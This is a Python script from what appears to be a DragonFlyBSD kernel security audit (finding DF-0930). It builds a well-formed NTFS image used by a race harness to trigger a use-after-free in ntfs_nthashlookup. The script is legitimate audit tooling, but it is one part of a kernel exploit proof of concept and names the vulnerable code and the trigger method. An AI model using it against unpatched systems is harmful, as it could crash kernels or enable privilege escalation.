โฌข DragonFlyBSD Kernel Audit
DF-0930 / craft_ntfs_file.py
โ† back to finding โ†“ download raw
#!/usr/bin/env python3
"""
DF-0930 NTFS image crafter.

Builds a minimal, mountable NTFS filesystem image from scratch (no mkntfs)
that contains a REGULAR FILE "target" (inode 32) in the root directory.
This lets the race harness drive concurrent ntfs_ntlookup(ntmp, 32, &ip)
calls through open("/mnt/ntfs/target") on two pinned CPUs, while a churn
thread forces vnode reclaim -> ntfs_reclaim -> ntfs_ntput -> kfree(ip)
to widen the UAF window in ntfs_nthashlookup (ntfs_ihash.c:100-102).

The image is well-formed everywhere (no other NTFS bugs are exercised).
Geometry: bps=512, spc=8 (4096-byte cluster), mftrecsz=0xF6 => 1024-byte
MFT records.

Layout:
  MFT record 0  ($MFT)        โ€” self-referential $DATA run
  MFT record 4  ($AttrDef)    โ€” two benign records + terminator
  MFT record 5  (root dir)    โ€” $INDEX_ROOT with "target" entry + LAST
  MFT record 6  ($Bitmap)     โ€” allocation bitmap
  MFT record 10 ($UpCase)     โ€” non-resident 128 KB upcase table
  MFT record 32 ("target")    โ€” $STD_INFO + $FILE_NAME + $DATA (resident)

Usage:  craft_ntfs_file.py [out.img]
"""
import struct, sys

# ---- geometry ----
BPS         = 512
SPC         = 8
CLU         = BPS * SPC            # 4096
MFTRECSZ    = 0xF6                 # -10 => 2**10 = 1024
RECSZ       = 1024
NCLUSTERS   = 128                  # 512 KB volume
MFTCN       = 2
UPCASE_CN   = 34
UPCASE_NCLU = 32                   # 131072 B = 65536 wchars
TARGET_INO  = 32
ROOT_INO    = 5

FILE_MAGIC  = 0x454C4946           # "FILE"
FIXUP_OFF   = 0x30
FIXUP_VAL   = 0xA001

A_STD = 0x10
A_NAME = 0x30
A_DATA = 0x80
A_INDXROOT = 0x90
A_ATTRDEF = 0x80   # $AttrDef uses $DATA attribute type 0x80 on its MFT rec

ATTRDEF_RECSZ = 160
NAME_WCHARS   = 64

NTFS_FRFLAG_DIR = 0x0002
NTFS_IEFLAG_LAST = 0x00000002


def le16(v): return struct.pack("<H", v & 0xFFFF)
def le32(v): return struct.pack("<I", v & 0xFFFFFFFF)
def le64(v): return struct.pack("<Q", v & 0xFFFFFFFFFFFFFFFF)


def boot_sector():
    b = bytearray(BPS)
    b[0:3]   = b"\xEB\x52\x90"
    b[3:11]  = b"NTFS    "
    struct.pack_into("<H", b, 11, BPS)
    b[13]    = SPC
    b[21]    = 0xF8
    struct.pack_into("<H", b, 24, 32)
    struct.pack_into("<H", b, 26, 2)
    struct.pack_into("<Q", b, 40, NCLUSTERS * SPC)
    struct.pack_into("<Q", b, 48, MFTCN)
    struct.pack_into("<Q", b, 56, 64)
    b[64]    = MFTRECSZ
    struct.pack_into("<I", b, 65, 4096)
    struct.pack_into("<I", b, 69, 0xDEADBEEF)
    return bytes(b)


def resident_attr(atype, datalen, data, name="", reclen_pad=8):
    wname = name.encode("utf-16-le") if name else b""
    namelen = len(name)
    nameoff = 0x18
    dataoff = nameoff + len(wname)
    reclen  = dataoff + datalen
    reclen  = (reclen + reclen_pad - 1) & ~(reclen_pad - 1)
    buf = bytearray(reclen)
    struct.pack_into("<I", buf, 0, atype)
    struct.pack_into("<I", buf, 4, reclen)
    buf[8]  = 0          # non-resident flag = 0 (resident)
    buf[9]  = namelen
    buf[10] = nameoff & 0xFF
    buf[11] = 0
    struct.pack_into("<H", buf, 16, datalen)
    struct.pack_into("<H", buf, 20, dataoff)
    buf[nameoff:dataoff] = wname
    buf[dataoff:dataoff + len(data)] = data[:datalen]
    return bytes(buf)


def nonresident_data_attr(runs_bytes, allocated, datalen):
    dataoff = 0x40
    reclen = dataoff + len(runs_bytes)
    reclen = (reclen + 7) & ~7
    buf = bytearray(reclen)
    struct.pack_into("<I", buf, 0, A_DATA)
    struct.pack_into("<I", buf, 4, reclen)
    buf[8]  = 0x01       # non-resident
    buf[10] = dataoff & 0xFF
    ncu = datalen // CLU
    struct.pack_into("<Q", buf, 24, ncu - 1)
    struct.pack_into("<H", buf, 32, dataoff)
    struct.pack_into("<Q", buf, 40, allocated)
    struct.pack_into("<Q", buf, 48, datalen)
    struct.pack_into("<Q", buf, 56, datalen)
    buf[dataoff:dataoff + len(runs_bytes)] = runs_bytes
    return bytes(buf)


def term_attr():
    b = bytearray(8)
    struct.pack_into("<I", b, 0, 0xFFFFFFFF)
    return bytes(b)


def mft_record(seqnum, nlink, flags, attrs_bytes):
    rec = bytearray(RECSZ)
    struct.pack_into("<I", rec, 0, FILE_MAGIC)
    struct.pack_into("<H", rec, 4, FIXUP_OFF)
    struct.pack_into("<H", rec, 6, RECSZ // BPS + 1)
    struct.pack_into("<H", rec, 16, seqnum)
    struct.pack_into("<H", rec, 18, nlink)
    attroff = 0x38
    struct.pack_into("<H", rec, 20, attroff)
    struct.pack_into("<H", rec, 22, flags)
    used = attroff + len(attrs_bytes)
    struct.pack_into("<I", rec, 24, used)
    struct.pack_into("<I", rec, 28, RECSZ)
    struct.pack_into("<H", rec, FIXUP_OFF, FIXUP_VAL)
    struct.pack_into("<H", rec, FIXUP_OFF + 2, FIXUP_VAL)
    struct.pack_into("<H", rec, FIXUP_OFF + 4, FIXUP_VAL)
    rec[attroff:attroff + len(attrs_bytes)] = attrs_bytes
    struct.pack_into("<H", rec, BPS - 2, FIXUP_VAL)
    struct.pack_into("<H", rec, RECSZ - 2, FIXUP_VAL)
    return bytes(rec)


def benign_attrdef_records():
    """Two well-formed 160-byte attrdef records (short NUL-terminated
    names) + one all-zero terminator."""
    out = bytearray()
    for name, atype in [("$STANDARD_INFORMATION", A_STD), ("$FILE_NAME", A_NAME)]:
        e = bytearray(ATTRDEF_RECSZ)
        for i, ch in enumerate(name):
            struct.pack_into("<H", e, i * 2, ord(ch))
        struct.pack_into("<I", e, 128, atype)   # ad_type
        out += e
    out += bytearray(ATTRDEF_RECSZ)              # all-zero terminator
    return bytes(out)


def index_entry_file(ino, parent_ino, name_str):
    """Build a non-LAST $INDEX_ENTRY for a file with the given name.
    On-disk layout matches struct attr_indexentry."""
    wname = name_str.encode("utf-16-le")
    namelen = len(name_str)
    # Fixed part: ie_number(4)+unknown1(4)+reclen(2)+ie_size(2)+ie_flag(4) = 16
    # Then $FILE_NAME body: parent_ref(8)+times(32)+alloc(8)+size(8)+flags(8)
    #                       +fnamelen(1)+fnametype(1)+fname(namelen*2)
    fname_body = 8 + 32 + 8 + 8 + 8 + 1 + 1 + len(wname)
    total = 16 + fname_body
    total = (total + 7) & ~7         # 8-byte align
    buf = bytearray(total)
    struct.pack_into("<I", buf, 0, ino)           # ie_number
    struct.pack_into("<I", buf, 4, 0)             # unknown1
    struct.pack_into("<H", buf, 8, total)         # reclen
    struct.pack_into("<H", buf, 10, total)        # ie_size
    struct.pack_into("<I", buf, 12, 0)            # ie_flag (not LAST)
    # $FILE_NAME body starts at offset 16:
    struct.pack_into("<I", buf, 16, parent_ino)   # ie_fpnumber (parent inode low)
    struct.pack_into("<I", buf, 20, 0)            # unknown2 (parent seq)
    # ie_ftimes at offset 24: 32 bytes of zeros (already zero)
    # ie_fallocated at 56, ie_fsize at 64, ie_fflag at 72: zeros
    struct.pack_into("<B", buf, 80, namelen)      # ie_fnamelen
    struct.pack_into("<B", buf, 81, 0)            # ie_fnametype (POSIX)
    buf[82:82 + len(wname)] = wname               # ie_fname
    return bytes(buf)


def index_entry_last():
    """Minimal LAST entry: just enough for ie_flag=LAST."""
    total = 24  # padded to 8
    buf = bytearray(total)
    struct.pack_into("<H", buf, 8, total)         # reclen
    struct.pack_into("<H", buf, 10, total)        # ie_size
    struct.pack_into("<I", buf, 12, NTFS_IEFLAG_LAST)  # ie_flag = LAST
    return bytes(buf)


def index_root_with_file():
    """$INDEX_ROOT attribute data for root dir: header + "target" entry + LAST."""
    # attr_indexroot header (32 bytes)
    hdr = bytearray(32)
    struct.pack_into("<I", hdr, 0, 0x30)          # ir_unkn1 (attr type for index)
    struct.pack_into("<I", hdr, 4, 0x01)          # ir_unkn2 (collation)
    ir_size = 4096                                 # bytes per index buffer
    struct.pack_into("<I", hdr, 8, ir_size)       # ir_size
    struct.pack_into("<I", hdr, 12, 1)            # ir_unkn3 (clusters per idx buf)
    struct.pack_into("<I", hdr, 16, 0x10)         # ir_unkn4
    entries = index_entry_file(TARGET_INO, ROOT_INO, "target") + index_entry_last()
    used = 32 + len(entries)
    struct.pack_into("<I", hdr, 20, used)         # ir_datalen
    struct.pack_into("<I", hdr, 24, used)         # ir_allocated
    struct.pack_into("<H", hdr, 28, 0x01)         # ir_flag
    return bytes(hdr) + entries


def std_information():
    """$STANDARD_INFORMATION body: 72 bytes (timestamps + etc)."""
    return b"\x00" * 72


def file_name_attr_body(parent_ino, name_str):
    """$FILE_NAME attribute body (resident data of a $FILE_NAME attribute)."""
    wname = name_str.encode("utf-16-le")
    buf = bytearray(8 + 32 + 8 + 8 + 8 + 1 + 1 + len(wname))
    struct.pack_into("<I", buf, 0, parent_ino)    # parent inode ref (low)
    struct.pack_into("<I", buf, 4, 0)             # parent seq
    # times at offset 8: 32 bytes zeros
    struct.pack_into("<B", buf, 66, len(name_str))  # name length (chars)
    struct.pack_into("<B", buf, 67, 0)            # namespace (POSIX)
    buf[68:68 + len(wname)] = wname
    return bytes(buf)


def upcase_table():
    return b"".join(struct.pack("<H", i) for i in range(65536))


def runs_encode(cluster, length):
    return bytes([0x11, length & 0xFF, cluster & 0x7F, 0x00])


def build(out_path):
    img = bytearray(NCLUSTERS * CLU)
    img[0:BPS] = boot_sector()

    # --- MFT record 0: $MFT (self-referential data run pointing to MFTCN) ---
    runs0 = runs_encode(MFTCN, NCLUSTERS)  # crude: whole MFT area as one run
    rec0 = mft_record(1, 1, 0,
                      nonresident_data_attr(runs0, NCLUSTERS * CLU, NCLUSTERS * CLU)
                      + term_attr())
    off = MFTCN * CLU + 0 * RECSZ
    img[off:off + RECSZ] = rec0

    # --- MFT record 4: $AttrDef (benign) ---
    ad = benign_attrdef_records()
    rec4 = mft_record(1, 1, 0,
                      resident_attr(A_DATA, len(ad), ad) + term_attr())
    off = MFTCN * CLU + 4 * RECSZ
    img[off:off + RECSZ] = rec4

    # --- MFT record 5: root dir with "target" entry ---
    iroot = index_root_with_file()
    rec5 = mft_record(1, 1, NTFS_FRFLAG_DIR,
                      resident_attr(A_INDXROOT, len(iroot), iroot, name="$I30")
                      + term_attr())
    off = MFTCN * CLU + 5 * RECSZ
    img[off:off + RECSZ] = rec5

    # --- MFT record 6: $Bitmap ---
    bmp = b"\xFF" * 16
    rec6 = mft_record(1, 1, 0,
                      resident_attr(A_DATA, len(bmp), bmp) + term_attr())
    off = MFTCN * CLU + 6 * RECSZ
    img[off:off + RECSZ] = rec6

    # --- MFT record 10: $UpCase (non-resident 128 KB) ---
    runs = runs_encode(UPCASE_CN, UPCASE_NCLU)
    nr = nonresident_data_attr(runs, UPCASE_NCLU * CLU, UPCASE_NCLU * CLU)
    rec10 = mft_record(1, 1, 0, nr + term_attr())
    off = MFTCN * CLU + 10 * RECSZ
    img[off:off + RECSZ] = rec10

    uo = UPCASE_CN * CLU
    img[uo:uo + UPCASE_NCLU * CLU] = upcase_table()

    # --- MFT record 32: "target" regular file ---
    stdi = std_information()
    fn_body = file_name_attr_body(ROOT_INO, "target")
    file_data = b"DF0930\n"
    attrs32 = (resident_attr(A_STD,  len(stdi),   stdi)
             + resident_attr(A_NAME, len(fn_body), fn_body)
             + resident_attr(A_DATA, len(file_data), file_data)
             + term_attr())
    rec32 = mft_record(1, 1, 0, attrs32)
    off = MFTCN * CLU + TARGET_INO * RECSZ
    img[off:off + RECSZ] = rec32

    with open(out_path, "wb") as f:
        f.write(img)
    print(f"[+] wrote {out_path} ({len(img)} bytes)")
    print(f"[+] root dir $INDEX_ROOT has 'target' -> inode {TARGET_INO}")
    print(f"[+] MFT record {TARGET_INO} = regular file 'target' with $STD/$NAME/$DATA")


if __name__ == "__main__":
    build(sys.argv[1] if len(sys.argv) > 1 else "ntfs_file.img")